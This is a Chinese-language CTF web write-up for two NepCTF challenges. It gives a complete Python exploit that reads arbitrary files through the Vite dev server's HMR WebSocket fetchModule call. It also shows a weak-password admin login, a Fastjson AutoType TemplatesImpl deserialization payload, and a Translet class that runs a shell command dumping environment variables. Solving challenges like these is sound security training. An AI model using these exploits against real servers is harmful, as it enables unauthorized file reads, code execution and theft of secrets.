NepCTFweb部分wp

1323 字

挂钩都在干什么呢?

Summary

题目是一个暴露在网络上的 Vite 开发服务器。版本为 6.4.1,其 HMR WebSocket 的 fetchModule 方法没有复用 HTTP 层的文件系统访问控制,可以通过 file:// URL 读取任意文件。

Solution

Step 1: 分析附件

Dockerfile 使用 Vite 开发服务器,并通过 --host 0.0.0.0 对外监听。docker-entrypoint.sh 启动时将环境变量 FLAG 写入 /flag,随后清除环境变量:

1
2
echo $FLAG > /flag
unset FLAG

vite.config.js 中配置了 /@fs/ 文件访问功能,但只允许 /app、/app/src 和 /app/public。直接请求 /@fs//flag 会返回 403,因此需要寻找其他文件读取入口。

Step 2: 利用 Vite HMR WebSocket 读取 /flag

Vite HMR 使用 vite-hmr 子协议。连接 WebSocket 时不发送 Origin,然后发送 vite:invoke 事件调用 fetchModule,并使用 file:///flag?raw 让文件内容出现在模块代码中。

下面的脚本从建立 WebSocket 握手开始,构造客户端掩码帧,发送利用请求并提取 flag:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import base64
import json
import os
import re
import socket
import struct

HOST = "127.0.0.1"
PORT = 56974


def recv_exact(sock, size):
    data = b""
    while len(data) < size:
        chunk = sock.recv(size - len(data))
        if not chunk:
            raise ConnectionError("connection closed")
        data += chunk
    return data


def make_client_frame(payload):
    payload = payload.encode()
    mask = os.urandom(4)
    masked = bytes(value ^ mask[index % 4] for index, value in enumerate(payload))

    if len(payload) < 126:
        header = bytes((0x81, 0x80 | len(payload)))
    elif len(payload) < 65536:
        header = bytes((0x81, 0xFE)) + struct.pack("!H", len(payload))
    else:
        header = bytes((0x81, 0xFF)) + struct.pack("!Q", len(payload))
    return header + mask + masked


def recv_frame(sock, buffer):
    while len(buffer) < 2:
        buffer += sock.recv(4096)
    first, second = buffer[:2]
    buffer = buffer[2:]
    opcode = first & 0x0F
    length = second & 0x7F

    if length == 126:
        while len(buffer) < 2:
            buffer += sock.recv(4096)
        length = struct.unpack("!H", buffer[:2])[0]
        buffer = buffer[2:]
    elif length == 127:
        while len(buffer) < 8:
            buffer += sock.recv(4096)
        length = struct.unpack("!Q", buffer[:8])[0]
        buffer = buffer[8:]

    masked = second & 0x80
    if masked:
        while len(buffer) < 4:
            buffer += sock.recv(4096)
        mask = buffer[:4]
        buffer = buffer[4:]
    else:
        mask = b""
    while len(buffer) < length:
        buffer += sock.recv(4096)
    payload = buffer[:length]
    buffer = buffer[length:]
    if masked:
        payload = bytes(value ^ mask[index % 4] for index, value in enumerate(payload))
    return opcode, payload, buffer


key = base64.b64encode(os.urandom(16)).decode()
request = (
    f"GET / HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    "Upgrade: websocket\r\n"
    "Connection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\n"
    "Sec-WebSocket-Version: 13\r\n"
    "Sec-WebSocket-Protocol: vite-hmr\r\n"
    "\r\n"
).encode()

payload = json.dumps({
    "type": "custom",
    "event": "vite:invoke",
    "data": {
        "id": "send:0",
        "name": "fetchModule",
        "data": ["file:///flag?raw"],
    },
}).encode()

with socket.create_connection((HOST, PORT), timeout=10) as sock:
    sock.sendall(request)
    buffer = b""
    while b"\r\n\r\n" not in buffer:
        buffer += sock.recv(4096)
    header, buffer = buffer.split(b"\r\n\r\n", 1)
    if b"101 Switching Protocols" not in header:
        raise RuntimeError(header.decode(errors="replace"))

    sock.sendall(make_client_frame(payload.decode()))

    while True:
        opcode, raw, buffer = recv_frame(sock, buffer)
        if opcode != 1:
            continue
        message = json.loads(raw)
        result = message.get("data", {}).get("result", {})
        code = result.get("code", "")
        match = re.search(r"flag\{[^}]+\}", code)
        if match:
            print(match.group())
            break

运行结果:

1
flag{analYZlNg_p3RfecT-Bo0k_cIUb_expeRIEnCe22b5}

文件编辑系统

Summary

题目是一个 Java 文档编辑系统。管理员密码存在弱口令,管理员保存文档的接口使用低版本 Fastjson 解析 JSON,并开启了 AutoType。利用 TemplatesImpl 触发本地命令执行,将环境变量写入 upload 目录,最后由普通用户的文档预览接口读取。

Solution

1. 弱口令登录

登录接口为 /doLogin。爆破已存在的 admin 用户后得到:

1
2
username=admin
password=admin123

登录后进入 /admin,发现保存文档请求为:

1
2
POST /api/admin/doc/batchUpdate
Content-Type: application/json

2. Fastjson AutoType 反序列化

发送顶层 {"@type":"java.util.HashMap"},服务端返回:

1
java.util.HashMap cannot be cast to com.alibaba.fastjson.JSONObject

这说明请求体由 Fastjson 解析,并且允许 AutoType。将 TemplatesImpl 放在顶层 probe 字段中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
  "docId": 2,
  "title": "flag-trigger",
  "status": "draft",
  "content": "FLAG-TRIGGER",
  "probe": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["BASE64_BYTECODE"],
    "_name": "flag",
    "_tfactory": {},
    "_outputProperties": {}
  }
}

字节码的静态代码块执行:

1
2
3
4
5
6
static {
    try {
        Runtime.getRuntime().exec("sh -c 'env > upload/rce.txt'");
    } catch (Exception ignored) {
    }
}

完整的 Translet 需要继承 AbstractTranslet,并实现以下两个 transform 方法,再使用 JDK 8 编译后进行 Base64 编码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class GetFlag extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("sh -c 'env > upload/rce.txt'");
        } catch (Exception ignored) {
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) {}

    public void transform(
            DOM document,
            DTMAxisIterator iterator,
            SerializationHandler handler) {}
}

请求可能返回 HTTP 500,但文档内容已经被更新,说明反序列化流程已被触发。

3. 普通用户读取文件

注册并登录普通用户后,请求:

1
GET /api/doc/preview?file_path=rce.txt

返回的环境变量中包含:

1
FLAG=NepCTF{e90179ee-f530-2b34-7d47-164fd7bbd281}
Licensed under CC BY-NC-SA 4.0